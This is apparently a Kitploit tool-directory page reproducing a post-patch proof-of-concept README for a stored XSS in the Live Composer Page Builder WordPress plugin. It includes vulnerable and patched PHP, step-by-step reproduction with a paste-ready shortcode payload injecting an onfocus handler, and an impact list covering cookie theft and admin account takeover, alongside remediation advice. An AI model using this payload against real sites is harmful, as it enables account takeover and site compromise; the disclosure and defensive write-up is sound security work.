Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-119073-PoC — PoC: CVE-2026-119073 - Live Composer Page Builder < 2.1.23 Contributor+ Stored XSS via Post Pagination Module | Kitploit
工具/GitHubGitHub/shashi552/cve-2026-119073-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & Education
GitHubshashi552/cve-2026-119073-poc

CVE-2026-119073-PoC

PoC: CVE-2026-119073 - Live Composer Page Builder < 2.1.23 Contributor+ Stored XSS via Post Pagination Module

查看仓库
2天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-119073 — Live Composer Page Builder < 2.1.23: Contributor+ Stored XSS via Post Pagination Module

CVE CVSS CWE Status WPScan

Responsible Disclosure — This PoC is published after the vendor patch was released (v2.1.23) and the CVE was officially published on November 5, 2026. All information here is for educational and defensive purposes only.


📋 Vulnerability Summary

FieldDetail
CVE IDCVE-2026-119073
PluginLive Composer Page Builder
Affected≤ 2.1.20 (all versions before 2.1.23)
Patched In2.1.23
TypeStored Cross-Site Scripting (XSS)
CWECWE-79 — Improper Neutralization of Input During Web Page Generation
CVSS v3.16.4 Medium (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)
Required RoleContributor+
PublishedNovember 5, 2026
CNAWPScan
ResearcherGanjikunta Venkata Shashank ([email protected])

🔍 Vulnerability Description

Live Composer Page Builder is a WordPress drag-and-drop page builder plugin with 50,000+ active installations.

The plugin fails to properly sanitize and escape the pagination type parameter passed to the dslc_post_pagination() function inside the [dslc_module_posts_output] shortcode. A user with Contributor-level access (or higher) can craft a malicious shortcode payload that injects arbitrary JavaScript into the HTML attribute context of the rendered pagination widget.

The injected script executes in the browser of any visitor (or administrator) who views the post/page containing the malicious shortcode — a classic Stored XSS attack.


🛠️ Root Cause Analysis

Vulnerable File: includes/display-functions.php
Vulnerable Function: dslc_post_pagination()

// VULNERABLE CODE (before v2.1.23)
function dslc_post_pagination( $atts ) {
    // ...
    $type = $atts['pagination_type'];   // ← User-controlled, NO sanitization
    // ...
    echo '<div class="dslca-post-pagination dslca-post-pagination-' . $type . '">';
    //                                                               ^^^^^ SINK: unescaped echo in attribute context

    // ...
    echo '<a href="' . $prev_url . '">' . $atts['pagination_text'] . '</a>';
    //                                    ^^^^^^^^^^^^^^^^^^^^^^^^ SINK: unescaped echo in link text context
}

Why wp_kses_post() and wptexturize() don't help here:

  • The shortcode body is decoded as JSON, not HTML. The pagination_type field is extracted from a JSON string, so HTML-entity filters operating on the outer shortcode content do not inspect or sanitize JSON object values.
  • Since the injection lands inside an HTML attribute (not tag body), < and > characters are not needed — the attack uses only quotes (") and event handler attributes (onfocus, autofocus), which pass through unfiltered.

Fix applied in v2.1.23:

// PATCHED CODE (v2.1.23+)
$type = sanitize_html_class( $atts['pagination_type'] );  // whitelist: only valid CSS class chars
echo '<div class="dslca-post-pagination dslca-post-pagination-' . esc_attr( $type ) . '">';
echo '<a href="' . esc_url( $prev_url ) . '">' . esc_html( $atts['pagination_text'] ) . '</a>';

🧪 Proof of Concept

Prerequisites

  • WordPress installation with Live Composer Page Builder ≤ 2.1.20 installed and active
  • An account with Contributor role (or higher) on the target site
  • A post/page that an Administrator will view (or the XSS fires on the front end)

⚠️ Test only on systems you own or have explicit written authorization to test.

Steps to Reproduce

  1. Log in to the WordPress admin panel as a Contributor.

  2. Create or edit a post using the Live Composer editor.

  3. Insert the following raw shortcode into the post body (via Text/HTML mode):

[dslc_module_posts_output]{"post_type":"post","amount":"1","pagination_type":"numbered\" autofocus=\"\" tabindex=\"0\" onfocus=\"alert(document.domain)\" x=\"","excerpt_length":12,"pagination_text":"Click"}[/dslc_module_posts_output]
  1. Publish or save the post.

  2. Visit the published post URL in any browser (or have an Administrator open it).

Expected Result (Vulnerable)

A JavaScript alert() dialog appears displaying the current domain name immediately on page load — triggered by the autofocus + onfocus event handler injected into the pagination <div> class attribute.

The rendered HTML output looks like:

<div class="dslca-post-pagination dslca-post-pagination-numbered" autofocus="" tabindex="0" onfocus="alert(document.domain)" x="">

Actual Result (Patched)

In v2.1.23+, sanitize_html_class() strips all characters outside [A-Za-z0-9_-], so the payload is neutralized. The class attribute renders as plain text without any injected attributes.


📸 Impact

  • Session Hijacking: An attacker can replace alert(document.domain) with fetch() calls to exfiltrate WordPress admin session cookies (if HttpOnly is not set) or nonces.
  • Admin Account Takeover: With a valid admin nonce, the XSS can silently create a new administrator account.
  • Defacement / Malware Injection: Persistent malicious scripts can be injected into the site for all visitors.
  • Phishing: Redirect admin users to a credential harvesting page.

🕒 Disclosure Timeline

DateEvent
Oct 2026Vulnerability discovered by researcher
Oct 2026Responsible disclosure submitted to WPScan CNA
Oct–Nov 2026WPScan triages and notifies vendor
Nov 2026Vendor releases patch in Live Composer v2.1.23
Nov 5, 2026CVE-2026-119073 officially published by WPScan CNA
Nov 2026Public disclosure (this PoC)

🛡️ Remediation

Update immediately:
WordPress Admin → Plugins → Live Composer Page Builder → Update to v2.1.23 or later

# WP-CLI (recommended for server administrators)
wp plugin update live-composer-page-builder --allow-root

If you cannot update immediately:

  • Restrict Contributor role creation on your site
  • Use a WAF rule to block onfocus, autofocus, and other event handlers in POST bodies to WordPress endpoints
  • Monitor for unusual shortcode content in your database: wp_posts table, post_content column

🔗 References

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    333
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    280

探索所有工具

浏览我们的工具集合

查看所有工具 →